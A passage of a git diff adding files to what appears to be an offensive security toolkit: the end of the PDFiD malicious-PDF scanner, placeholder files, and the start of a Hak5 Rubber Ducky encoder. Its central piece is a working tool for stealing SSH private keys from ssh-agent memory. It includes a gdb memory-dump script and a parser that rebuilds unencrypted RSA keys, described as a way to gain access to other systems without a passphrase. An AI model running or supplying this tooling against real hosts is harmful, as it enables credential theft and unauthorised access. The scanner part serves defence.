+ elif file.lower().endswith('.zip'): + try: + self.zipfile = zipfile.ZipFile(file, 'r') + self.infile = self.zipfile.open(self.zipfile.infolist()[0], 'r', C2BIP3('infected')) + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + else: + try: + self.infile = open(file, 'rb') + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + self.ungetted = [] + + def byte(self): + if len(self.ungetted) != 0: + return self.ungetted.pop() + inbyte = self.infile.read(1) + if not inbyte or inbyte == '': + self.infile.close() + return None + return ord(inbyte) + + def bytes(self, size): + if size <= len(self.ungetted): + result = self.ungetted[0:size] + del self.ungetted[0:size] + return result + inbytes = self.infile.read(size - len(self.ungetted)) + if inbytes == '': + self.infile.close() + if type(inbytes) == type(''): + result = self.ungetted + [ord(b) for b in inbytes] + else: + result = self.ungetted + [b for b in inbytes] + self.ungetted = [] + return result + + def unget(self, byte): + self.ungetted.append(byte) + + def ungets(self, bytes): + bytes.reverse() + self.ungetted.extend(bytes) + +class cPDFDate: + def __init__(self): + self.state = 0 + + def parse(self, char): + if char == 'D': + self.state = 1 + return None + elif self.state == 1: + if char == ':': + self.state = 2 + self.digits1 = '' + else: + self.state = 0 + return None + elif self.state == 2: + if len(self.digits1) < 14: + if char >= '0' and char <= '9': + self.digits1 += char + return None + else: + self.state = 0 + return None + elif char == '+' or char == '-' or char == 'Z': + self.state = 3 + self.digits2 = '' + self.TZ = char + return None + elif char == '"': + self.state = 0 + self.date = 'D:' + self.digits1 + return self.date + elif char < '0' or char > '9': + self.state = 0 + self.date = 'D:' + self.digits1 + return self.date + else: + self.state = 0 + return None + elif self.state == 3: + if len(self.digits2) < 2: + if char >= '0' and char <= '9': + self.digits2 += char + return None + else: + self.state = 0 + return None + elif len(self.digits2) == 2: + if char == "'": + self.digits2 += char + return None + else: + self.state = 0 + return None + elif len(self.digits2) < 5: + if char >= '0' and char <= '9': + self.digits2 += char + if len(self.digits2) == 5: + self.state = 0 + self.date = 'D:' + self.digits1 + self.TZ + self.digits2 + return self.date + else: + return None + else: + self.state = 0 + return None + +def fEntropy(countByte, countTotal): + x = float(countByte) / countTotal + if x > 0: + return - x * math.log(x, 2) + else: + return 0.0 + +class cEntropy: + def __init__(self): + self.allBucket = [0 for i in range(0, 256)] + self.streamBucket = [0 for i in range(0, 256)] + + def add(self, byte, insideStream): + self.allBucket[byte] += 1 + if insideStream: + self.streamBucket[byte] += 1 + + def removeInsideStream(self, byte): + if self.streamBucket[byte] > 0: + self.streamBucket[byte] -= 1 + + def calc(self): + self.nonStreamBucket = map(operator.sub, self.allBucket, self.streamBucket) + allCount = sum(self.allBucket) + streamCount = sum(self.streamBucket) + nonStreamCount = sum(self.nonStreamBucket) + return (allCount, sum(map(lambda x: fEntropy(x, allCount), self.allBucket)), streamCount, sum(map(lambda x: fEntropy(x, streamCount), self.streamBucket)), nonStreamCount, sum(map(lambda x: fEntropy(x, nonStreamCount), self.nonStreamBucket))) + +class cPDFEOF: + def __init__(self): + self.token = '' + self.cntEOFs = 0 + + def parse(self, char): + if self.cntEOFs > 0: + self.cntCharsAfterLastEOF += 1 + if self.token == '' and char == '%': + self.token += char + return + elif self.token == '%' and char == '%': + self.token += char + return + elif self.token == '%%' and char == 'E': + self.token += char + return + elif self.token == '%%E' and char == 'O': + self.token += char + return + elif self.token == '%%EO' and char == 'F': + self.token += char + return + elif self.token == '%%EOF' and (char == '\n' or char == '\r' or char == ' ' or char == '\t'): + self.cntEOFs += 1 + self.cntCharsAfterLastEOF = 0 + if char == '\n': + self.token = '' + else: + self.token += char + return + elif self.token == '%%EOF\r': + if char == '\n': + self.cntCharsAfterLastEOF = 0 + self.token = '' + else: + self.token = '' + +def FindPDFHeaderRelaxed(oBinaryFile): + bytes = oBinaryFile.bytes(1024) + index = ''.join([chr(byte) for byte in bytes]).find('%PDF') + if index == -1: + oBinaryFile.ungets(bytes) + return ([], None) + for endHeader in range(index + 4, index + 4 + 10): + if bytes[endHeader] == 10 or bytes[endHeader] == 13: + break + oBinaryFile.ungets(bytes[endHeader:]) + return (bytes[0:endHeader], ''.join([chr(byte) for byte in bytes[index:endHeader]])) + +def Hexcode2String(char): + if type(char) == int: + return '#%02x' % char + else: + return char + +def SwapCase(char): + if type(char) == int: + return ord(chr(char).swapcase()) + else: + return char.swapcase() + +def HexcodeName2String(hexcodeName): + return ''.join(map(Hexcode2String, hexcodeName)) + +def SwapName(wordExact): + return map(SwapCase, wordExact) + +def UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut): + if word != '': + if slash + word in words: + words[slash + word][0] += 1 + if hexcode: + words[slash + word][1] += 1 + elif slash == '/' and allNames: + words[slash + word] = [1, 0] + if hexcode: + words[slash + word][1] += 1 + if slash == '/': + lastName = slash + word + if slash == '': + if word == 'stream': + insideStream = True + if word == 'endstream': + if insideStream == True and oEntropy != None: + for char in 'endstream': + oEntropy.removeInsideStream(ord(char)) + insideStream = False + if fOut != None: + if slash == '/' and '/' + word in ('/JS', '/JavaScript', '/AA', '/OpenAction', '/JBIG2Decode', '/RichMedia', '/Launch'): + wordExactSwapped = HexcodeName2String(SwapName(wordExact)) + fOut.write(C2BIP3(wordExactSwapped)) + print('/%s -> /%s' % (HexcodeName2String(wordExact), wordExactSwapped)) + else: + fOut.write(C2BIP3(HexcodeName2String(wordExact))) + return ('', [], False, lastName, insideStream) + +class cCVE_2009_3459: + def __init__(self): + self.count = 0 + + def Check(self, lastName, word): + if (lastName == '/Colors' and word.isdigit() and int(word) > 2^24): # decided to alert when the number of colors is expressed with more than 3 bytes + self.count += 1 + +def PDFiD(file, allNames=False, extraData=False, disarm=False, force=False): + """Example of XML output: + + + + + + + + + + + + + + + + + + + + + + """ + + word = '' + wordExact = [] + hexcode = False + lastName = '' + insideStream = False + keywords = ('obj', + 'endobj', + 'stream', + 'endstream', + 'xref', + 'trailer', + 'startxref', + '/Page', + '/Encrypt', + '/ObjStm', + '/JS', + '/JavaScript', + '/AA', + '/OpenAction', + '/AcroForm', + '/JBIG2Decode', + '/RichMedia', + '/Launch', + '/EmbeddedFile', + '/XFA', + ) + words = {} + dates = [] + for keyword in keywords: + words[keyword] = [0, 0] + slash = '' + xmlDoc = xml.dom.minidom.getDOMImplementation().createDocument(None, 'PDFiD', None) + att = xmlDoc.createAttribute('Version') + att.nodeValue = __version__ + xmlDoc.documentElement.setAttributeNode(att) + att = xmlDoc.createAttribute('Filename') + att.nodeValue = file + xmlDoc.documentElement.setAttributeNode(att) + attErrorOccured = xmlDoc.createAttribute('ErrorOccured') + xmlDoc.documentElement.setAttributeNode(attErrorOccured) + attErrorOccured.nodeValue = 'False' + attErrorMessage = xmlDoc.createAttribute('ErrorMessage') + xmlDoc.documentElement.setAttributeNode(attErrorMessage) + attErrorMessage.nodeValue = '' + + oPDFDate = None + oEntropy = None + oPDFEOF = None + oCVE_2009_3459 = cCVE_2009_3459() + try: + attIsPDF = xmlDoc.createAttribute('IsPDF') + xmlDoc.documentElement.setAttributeNode(attIsPDF) + oBinaryFile = cBinaryFile(file) + if extraData: + oPDFDate = cPDFDate() + oEntropy = cEntropy() + oPDFEOF = cPDFEOF() + (bytesHeader, pdfHeader) = FindPDFHeaderRelaxed(oBinaryFile) + if disarm: + (pathfile, extension) = os.path.splitext(file) + fOut = open(pathfile + '.disarmed' + extension, 'wb') + for byteHeader in bytesHeader: + fOut.write(C2BIP3(chr(byteHeader))) + else: + fOut = None + if oEntropy != None: + for byteHeader in bytesHeader: + oEntropy.add(byteHeader, insideStream) + if pdfHeader == None and not force: + attIsPDF.nodeValue = 'False' + return xmlDoc + else: + if pdfHeader == None: + attIsPDF.nodeValue = 'False' + pdfHeader = '' + else: + attIsPDF.nodeValue = 'True' + att = xmlDoc.createAttribute('Header') + att.nodeValue = repr(pdfHeader[0:10]).strip("'") + xmlDoc.documentElement.setAttributeNode(att) + byte = oBinaryFile.byte() + while byte != None: + char = chr(byte) + charUpper = char.upper() + if charUpper >= 'A' and charUpper <= 'Z' or charUpper >= '0' and charUpper <= '9': + word += char + wordExact.append(char) + elif slash == '/' and char == '#': + d1 = oBinaryFile.byte() + if d1 != None: + d2 = oBinaryFile.byte() + if d2 != None and (chr(d1) >= '0' and chr(d1) <= '9' or chr(d1).upper() >= 'A' and chr(d1).upper() <= 'F') and (chr(d2) >= '0' and chr(d2) <= '9' or chr(d2).upper() >= 'A' and chr(d2).upper() <= 'F'): + word += chr(int(chr(d1) + chr(d2), 16)) + wordExact.append(int(chr(d1) + chr(d2), 16)) + hexcode = True + if oEntropy != None: + oEntropy.add(d1, insideStream) + oEntropy.add(d2, insideStream) + if oPDFEOF != None: + oPDFEOF.parse(d1) + oPDFEOF.parse(d2) + else: + oBinaryFile.unget(d2) + oBinaryFile.unget(d1) + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + if disarm: + fOut.write(C2BIP3(char)) + else: + oBinaryFile.unget(d1) + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + if disarm: + fOut.write(C2BIP3(char)) + else: + oCVE_2009_3459.Check(lastName, word) + + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + if char == '/': + slash = '/' + else: + slash = '' + if disarm: + fOut.write(C2BIP3(char)) + + if oPDFDate != None and oPDFDate.parse(char) != None: + dates.append([oPDFDate.date, lastName]) + + if oEntropy != None: + oEntropy.add(byte, insideStream) + + if oPDFEOF != None: + oPDFEOF.parse(char) + + byte = oBinaryFile.byte() + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + + # check to see if file ended with %%EOF. If so, we can reset charsAfterLastEOF and add one to EOF count. This is never performed in + # the parse function because it never gets called due to hitting the end of file. + if byte == None and oPDFEOF != None: + if oPDFEOF.token == '%%EOF': + oPDFEOF.cntEOFs += 1 + oPDFEOF.cntCharsAfterLastEOF = 0 + oPDFEOF.token = '' + + except SystemExit: + sys.exit() + except: + attErrorOccured.nodeValue = 'True' + attErrorMessage.nodeValue = traceback.format_exc() + + if disarm: + fOut.close() + + attEntropyAll = xmlDoc.createAttribute('TotalEntropy') + xmlDoc.documentElement.setAttributeNode(attEntropyAll) + attCountAll = xmlDoc.createAttribute('TotalCount') + xmlDoc.documentElement.setAttributeNode(attCountAll) + attEntropyStream = xmlDoc.createAttribute('StreamEntropy') + xmlDoc.documentElement.setAttributeNode(attEntropyStream) + attCountStream = xmlDoc.createAttribute('StreamCount') + xmlDoc.documentElement.setAttributeNode(attCountStream) + attEntropyNonStream = xmlDoc.createAttribute('NonStreamEntropy') + xmlDoc.documentElement.setAttributeNode(attEntropyNonStream) + attCountNonStream = xmlDoc.createAttribute('NonStreamCount') + xmlDoc.documentElement.setAttributeNode(attCountNonStream) + if oEntropy != None: + (countAll, entropyAll , countStream, entropyStream, countNonStream, entropyNonStream) = oEntropy.calc() + attEntropyAll.nodeValue = '%f' % entropyAll + attCountAll.nodeValue = '%d' % countAll + attEntropyStream.nodeValue = '%f' % entropyStream + attCountStream.nodeValue = '%d' % countStream + attEntropyNonStream.nodeValue = '%f' % entropyNonStream + attCountNonStream.nodeValue = '%d' % countNonStream + else: + attEntropyAll.nodeValue = '' + attCountAll.nodeValue = '' + attEntropyStream.nodeValue = '' + attCountStream.nodeValue = '' + attEntropyNonStream.nodeValue = '' + attCountNonStream.nodeValue = '' + attCountEOF = xmlDoc.createAttribute('CountEOF') + xmlDoc.documentElement.setAttributeNode(attCountEOF) + attCountCharsAfterLastEOF = xmlDoc.createAttribute('CountCharsAfterLastEOF') + xmlDoc.documentElement.setAttributeNode(attCountCharsAfterLastEOF) + if oPDFEOF != None: + attCountEOF.nodeValue = '%d' % oPDFEOF.cntEOFs + attCountCharsAfterLastEOF.nodeValue = '%d' % oPDFEOF.cntCharsAfterLastEOF + else: + attCountEOF.nodeValue = '' + attCountCharsAfterLastEOF.nodeValue = '' + + eleKeywords = xmlDoc.createElement('Keywords') + xmlDoc.documentElement.appendChild(eleKeywords) + for keyword in keywords: + eleKeyword = xmlDoc.createElement('Keyword') + eleKeywords.appendChild(eleKeyword) + att = xmlDoc.createAttribute('Name') + att.nodeValue = keyword + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('Count') + att.nodeValue = str(words[keyword][0]) + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('HexcodeCount') + att.nodeValue = str(words[keyword][1]) + eleKeyword.setAttributeNode(att) + eleKeyword = xmlDoc.createElement('Keyword') + eleKeywords.appendChild(eleKeyword) + att = xmlDoc.createAttribute('Name') + att.nodeValue = '/Colors > 2^24' + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('Count') + att.nodeValue = str(oCVE_2009_3459.count) + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('HexcodeCount') + att.nodeValue = str(0) + eleKeyword.setAttributeNode(att) + if allNames: + keys = sorted(words.keys()) + for word in keys: + if not word in keywords: + eleKeyword = xmlDoc.createElement('Keyword') + eleKeywords.appendChild(eleKeyword) + att = xmlDoc.createAttribute('Name') + att.nodeValue = word + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('Count') + att.nodeValue = str(words[word][0]) + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('HexcodeCount') + att.nodeValue = str(words[word][1]) + eleKeyword.setAttributeNode(att) + eleDates = xmlDoc.createElement('Dates') + xmlDoc.documentElement.appendChild(eleDates) + dates.sort(key=lambda x: x[0]) + for date in dates: + eleDate = xmlDoc.createElement('Date') + eleDates.appendChild(eleDate) + att = xmlDoc.createAttribute('Value') + att.nodeValue = date[0] + eleDate.setAttributeNode(att) + att = xmlDoc.createAttribute('Name') + att.nodeValue = date[1] + eleDate.setAttributeNode(att) + return xmlDoc + +def PDFiD2String(xmlDoc, force): + result = 'PDFiD %s %s\n' % (xmlDoc.documentElement.getAttribute('Version'), xmlDoc.documentElement.getAttribute('Filename')) + if xmlDoc.documentElement.getAttribute('ErrorOccured') == 'True': + return result + '***Error occured***\n%s\n' % xmlDoc.documentElement.getAttribute('ErrorMessage') + if not force and xmlDoc.documentElement.getAttribute('IsPDF') == 'False': + return result + ' Not a PDF document\n' + result += ' PDF Header: %s\n' % xmlDoc.documentElement.getAttribute('Header') + for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes: + result += ' %-16s %7d' % (node.getAttribute('Name'), int(node.getAttribute('Count'))) + if int(node.getAttribute('HexcodeCount')) > 0: + result += '(%d)' % int(node.getAttribute('HexcodeCount')) + result += '\n' + if xmlDoc.documentElement.getAttribute('CountEOF') != '': + result += ' %-16s %7d\n' % ('%%EOF', int(xmlDoc.documentElement.getAttribute('CountEOF'))) + if xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF') != '': + result += ' %-16s %7d\n' % ('After last %%EOF', int(xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF'))) + for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes: + result += ' %-23s %s\n' % (node.getAttribute('Value'), node.getAttribute('Name')) + if xmlDoc.documentElement.getAttribute('TotalEntropy') != '': + result += ' Total entropy: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('TotalEntropy'), xmlDoc.documentElement.getAttribute('TotalCount')) + if xmlDoc.documentElement.getAttribute('StreamEntropy') != '': + result += ' Entropy inside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('StreamEntropy'), xmlDoc.documentElement.getAttribute('StreamCount')) + if xmlDoc.documentElement.getAttribute('NonStreamEntropy') != '': + result += ' Entropy outside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('NonStreamEntropy'), xmlDoc.documentElement.getAttribute('NonStreamCount')) + return result + +def Scan(directory, allNames, extraData, disarm, force): + try: + if os.path.isdir(directory): + for entry in os.listdir(directory): + Scan(os.path.join(directory, entry), allNames, extraData, disarm, force) + else: + result = PDFiD2String(PDFiD(directory, allNames, extraData, disarm, force), force) + print(result) + logfile = open('PDFiD.log', 'a') + logfile.write(result + '\n') + logfile.close() + except: + pass + +#function derived from: http://blog.9bplus.com/pdfidpy-output-to-json +def PDFiD2JSON(xmlDoc, force): + #Get Top Layer Data + errorOccured = xmlDoc.documentElement.getAttribute('ErrorOccured') + errorMessage = xmlDoc.documentElement.getAttribute('ErrorMessage') + filename = xmlDoc.documentElement.getAttribute('Filename') + header = xmlDoc.documentElement.getAttribute('Header') + isPdf = xmlDoc.documentElement.getAttribute('IsPDF') + version = xmlDoc.documentElement.getAttribute('Version') + entropy = xmlDoc.documentElement.getAttribute('Entropy') + + #extra data + countEof = xmlDoc.documentElement.getAttribute('CountEOF') + countChatAfterLastEof = xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF') + totalEntropy = xmlDoc.documentElement.getAttribute('TotalEntropy') + streamEntropy = xmlDoc.documentElement.getAttribute('StreamEntropy') + nonStreamEntropy = xmlDoc.documentElement.getAttribute('NonStreamEntropy') + + keywords = [] + dates = [] + + #grab all keywords + for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes: + name = node.getAttribute('Name') + count = int(node.getAttribute('Count')) + if int(node.getAttribute('HexcodeCount')) > 0: + hexCount = int(node.getAttribute('HexcodeCount')) + else: + hexCount = 0 + keyword = { 'count':count, 'hexcodecount':hexCount, 'name':name } + keywords.append(keyword) + + #grab all date information + for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes: + name = node.getAttribute('Name') + value = node.getAttribute('Value') + date = { 'name':name, 'value':value } + dates.append(date) + + data = { 'countEof':countEof, 'countChatAfterLastEof':countChatAfterLastEof, 'totalEntropy':totalEntropy, 'streamEntropy':streamEntropy, 'nonStreamEntropy':nonStreamEntropy, 'errorOccured':errorOccured, 'errorMessage':errorMessage, 'filename':filename, 'header':header, 'isPdf':isPdf, 'version':version, 'entropy':entropy, 'keywords': { 'keyword': keywords }, 'dates': { 'date':dates} } + complete = [ { 'pdfid' : data} ] + result = json.dumps(complete) + return result + +def Main(): + oParser = optparse.OptionParser(usage='usage: %prog [options] [pdf-file|zip-file|url]\n' + __description__, version='%prog ' + __version__) + oParser.add_option('-s', '--scan', action='store_true', default=False, help='scan the given directory') + oParser.add_option('-a', '--all', action='store_true', default=False, help='display all the names') + oParser.add_option('-e', '--extra', action='store_true', default=False, help='display extra data, like dates') + oParser.add_option('-f', '--force', action='store_true', default=False, help='force the scan of the file, even without proper %PDF header') + oParser.add_option('-d', '--disarm', action='store_true', default=False, help='disable JavaScript and auto launch') + (options, args) = oParser.parse_args() + + if len(args) == 0: + if options.disarm: + print('Option disarm not supported with stdin') + options.disarm = False + print(PDFiD2String(PDFiD('', options.all, options.extra, options.disarm, options.force), options.force)) + elif len(args) == 1: + if options.scan: + Scan(args[0], options.all, options.extra, options.disarm, options.force) + else: + print(PDFiD2String(PDFiD(args[0], options.all, options.extra, options.disarm, options.force), options.force)) + else: + oParser.print_help() + print('') + print(' %s' % __description__) + print(' Source code put in the public domain by Didier Stevens, no Copyright') + print(' Use at your own risk') + print(' https://DidierStevens.com') + return + +if __name__ == '__main__': + Main() diff --git a/Linux_Hacking/README.md b/Linux_Hacking/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/README.md b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/README.md new file mode 100644 index 0000000..91e0e9c --- /dev/null +++ b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/README.md @@ -0,0 +1,38 @@ +Introduction +============ + + SSH-agent is a tool designed to keep a SSH key in memory so that the user doesn't have to type their passphrase in every time. + +A user running as root may have the ability to pull the decrypted SSH key from memory and reconstruct it (of course, an attacker may be able to install a keylogger and use that to obtain the passphrase for the SSH key. However, this causes the attacker to have to wait for the target to type in their passphrase). + + +Using SSH-agent +--------------- + +A common method of using SSH-agent is running "SSH-agent bash" and then "SSH-add" to add the key to the agent. Once added, the key will stay in the SSH-agent's stack until the process ends, another key is added, or the user uses the -d or -D option with SSH-add. + + +Pulling a SSH Key From Memory +----------------------------- + +Gdb uses the ptrace call to attach to the SSH-agent. This provides gdb with the privileges necessary to create a memory dump of the running process. + +The gdb_garb.sh script provides a way of automating the dumping of this memory. By default, when it runs it will create a memory dump of the stack for each SSH-agent process. These files are named SSHagent-PID.stack. + + + +Parsing SSH Keys From the Memory Dump +------------------------------------- + +The key is kept in the stack in a different format then the one that was generated by SSH-keygen. + +The script parse.py requires the installation of the pyasn1 python module. Once that is installed the script can be run against the memory file. If that memory file contains a valid RSA SSH key then it will save it to disk. + +This key.rsa file can then be used as an argument to the -i switch in SSH. This will act like the original user's key, only without requiring a pass phrase to unlock it. + + + +References: +----------- + +1. https://www.netspi.com/blog/entryid/235/stealing-unencrypted-ssh-agent-keys-from-memory \ No newline at end of file diff --git a/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/gdb_garb.sh b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/gdb_garb.sh new file mode 100755 index 0000000..b336667 --- /dev/null +++ b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/gdb_garb.sh @@ -0,0 +1,24 @@ +#!/bin/bash + +# First argument is the output directory. Use /tmp if this is not specified. +outputdir="/tmp" + +# Grab pids for each ssh-agent +sshagentpids=$(ps --no-headers -fC ssh-agent | awk '{print $2}') + +# Iterate through the pids and create a memory dump of the stack for each +for pid in $sshagentpids; do + stackmem="$(grep stack /proc/$pid/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p')" + startstack=$(echo $stackmem | awk '{print $1}') + stopstack=$(echo $stackmem | awk '{print $2}') + + gdb --batch -pid $pid -ex "dump memory $outputdir/sshagent-$pid.stack 0x$startstack 0x$stopstack" 2&>1 >/dev/null + + # GDB doesn't error out properly if this fails. + # This will provide feedback if the file is actually created + if [ -f "$outputdir/sshagent-$pid.stack" ]; then + echo "Created $outputdir/sshagent-$pid.stack" + else + echo "Error dumping memory from $pid" + fi +done \ No newline at end of file diff --git a/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/parse.py b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/parse.py new file mode 100755 index 0000000..9c7d2f4 --- /dev/null +++ b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/parse.py @@ -0,0 +1,186 @@ +#!/usr/bin/python + +import sys +import base64 +from pyasn1.type import univ +from pyasn1.codec.der import encoder + + +class sshkeyparse: + """ This class is designed to parse a memory dump of ssh-agent and create + unencrypted ssh keys that can then be used to gain access to other + systems""" + keytypes = { + 'rsa': "ssh-rsa", + 'dsa': "ssh-dss", + 'ecsda': "ecdsa-sha2-nisp256", + 'ed25519': "ssh-ed25519" + } + + def read(self, memdump): + """ Reads a file and stories it in self.mem""" + self.inputfile = memdump + file = open(memdump, 'rb') + self.mem = "".join(file.readlines()) + file.close() + + def unpack_bigint(self, buf): + """Turn binary chunk into integer""" + + v = 0 + for c in buf: + v *= 256 + v += ord(c) + + return v + + def search_key(self): + """Searches for keys in self.mem""" + + keysfound = {} + + for type in self.keytypes: + magic = self.mem.find(self.keytypes[type]) + + if magic is not -1: + keysfound[magic] = type + + if keysfound: + print ("Found %s key" % keysfound[sorted(keysfound)[0]]) + self.mem = self.mem[sorted(keysfound)[0]:] + self.type = keysfound[sorted(keysfound)[0]] + return 1 + + if not keysfound: + return -1 + + def getkeys(self, output): + """ Parses for keys stored in ssh-agent's stack """ + + keynum = 0 + validkey = 0 + + validkey = self.search_key() + while validkey != -1: + + if keynum == 0: + keynum += 1 + self.create_key(output) + + else: + keynum += 1 + self.create_key((output + "." + str(keynum))) + + validkey = self.search_key() + + if keynum == 0: + # Did not find a valid key type + print ("A saved key was not found in %s" % self.inputfile) + print ("The user may not have loaded a key or the key loaded is " + + "not supported.") + sys.exit(1) + else: + return + + # Detect type of key and run key creation + def create_key(self, output): + """Creates key files""" + + output = output + "." + self.type + + if self.type is "rsa": + self.create_rsa(output) + print ("Creating %s key: %s" % (self.type, output)) + if self.type is "dsa": + self.create_dsa(output) + print ("Creating %s key: %s" % (self.type, output)) + else: + print ("%s key type is not currently supported." % self.type) + sys.exit(3) + + def create_dsa(self, output): + """Create DSA SSH key file""" + if self.mem[0:7] == "ssh-dss": + print ("DSA SSH Keys are not currently supported.") + self.mem = self.mem[start+size:] + + else: + print ("Error: This is not a DSA SSH key file") + sys.exit(2) + + def create_rsa(self, output): + """Create RSA SSH key file""" + if self.mem[0:7] == "ssh-rsa": + + # FIXME: This needs to be cleaned up. + start = 10 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + n = self.unpack_bigint(self.mem[start:(start+size)]) + start = start + size + 2 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + e = self.unpack_bigint(self.mem[start:(start+size)]) + start = start + size + 2 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + d = self.unpack_bigint(self.mem[start:(start+size)]) + start = start + size + 2 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + c = self.unpack_bigint(self.mem[start:(start+size)]) + start = start + size + 2 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + p = self.unpack_bigint(self.mem[start:(start+size)]) + start = start + size + 2 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + q = self.unpack_bigint(self.mem[start:(start+size)]) + + e1 = d % (p - 1) + e2 = d % (q - 1) + + self.mem = self.mem[start+size:] + + else: + print ("Error: This is not a RSA SSH key file") + sys.exit(2) + + seq = ( + univ.Integer(0), + univ.Integer(n), + univ.Integer(e), + univ.Integer(d), + univ.Integer(p), + univ.Integer(q), + univ.Integer(e1), + univ.Integer(e2), + univ.Integer(c), + ) + + struct = univ.Sequence() + + for i in xrange(len(seq)): + struct.setComponentByPosition(i, seq[i]) + + raw = encoder.encode(struct) + data = base64.b64encode(raw) + + # chop data up into lines of certain width + width = 64 + chopped = [data[i:i + width] for i in xrange(0, len(data), width)] + # assemble file content + content = """-----BEGIN RSA PRIVATE KEY----- +%s +-----END RSA PRIVATE KEY----- +""" % '\n'.join(chopped) + output = open(output, 'w') + output.write(content) + output.close() + +# MAIN + +keystart = sshkeyparse() +keystart.read(sys.argv[1]) +keystart.getkeys(sys.argv[2]) diff --git a/Memory_Exploits/Integer_Overflows/integer_overflows.md b/Memory_Exploits/Integer_Overflows/integer_overflows.md new file mode 100644 index 0000000..3f9c39e --- /dev/null +++ b/Memory_Exploits/Integer_Overflows/integer_overflows.md @@ -0,0 +1,2 @@ +# Integer Overflows + diff --git a/Reverse_Engineering/X86_Win32_Reverse_Engineering_Cheat_Sheet.pdf b/Reverse_Engineering/X86_Win32_Reverse_Engineering_Cheat_Sheet.pdf new file mode 100644 index 0000000..5909200 Binary files /dev/null and b/Reverse_Engineering/X86_Win32_Reverse_Engineering_Cheat_Sheet.pdf differ diff --git a/Rubber_Duck/HAK/Encoder/.classpath b/Rubber_Duck/HAK/Encoder/.classpath new file mode 100644 index 0000000..18d70f0 --- /dev/null +++ b/Rubber_Duck/HAK/Encoder/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/Rubber_Duck/HAK/Encoder/.project b/Rubber_Duck/HAK/Encoder/.project new file mode 100644 index 0000000..a8dfc8b --- /dev/null +++ b/Rubber_Duck/HAK/Encoder/.project @@ -0,0 +1,17 @@ + + + Hak5_Duck_Encoder + + + + + + org.eclipse.jdt.core.javabuilder + + + + + + org.eclipse.jdt.core.javanature + + diff --git a/Rubber_Duck/HAK/Encoder/.settings/org.eclipse.jdt.core.prefs b/Rubber_Duck/HAK/Encoder/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..8dfb703 --- /dev/null +++ b/Rubber_Duck/HAK/Encoder/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,12 @@ +#Sun Aug 07 16:02:51 PDT 2011 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/Rubber_Duck/HAK/Encoder/src/Encoder.java b/Rubber_Duck/HAK/Encoder/src/Encoder.java new file mode 100644 index 0000000..d0ebc3a --- /dev/null +++ b/Rubber_Duck/HAK/Encoder/src/Encoder.java @@ -0,0 +1,530 @@ +// File: Encoder.java +// Created: 8/10/2011 +// Author: Jason Appelbaum Jason@Hak5.org + +import java.io.DataInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import javax.swing.text.BadLocationException; +import javax.swing.text.Document; +import javax.swing.text.rtf.RTFEditorKit; + +public class Encoder { + + public static void main(String[] args) { + + String helpStr = "Hak5 Duck Encoder 1.2\n\n" + + "usage: duckencode -i [file ..]\t\t\tencode specified file\n" + + " or: duckencode -i [file ..] -o [file ..]\tencode to specified file\n" + + "\nArguments:\n" + + " -i [file ..] \t\tInput File\n" + + " -o [file ..] 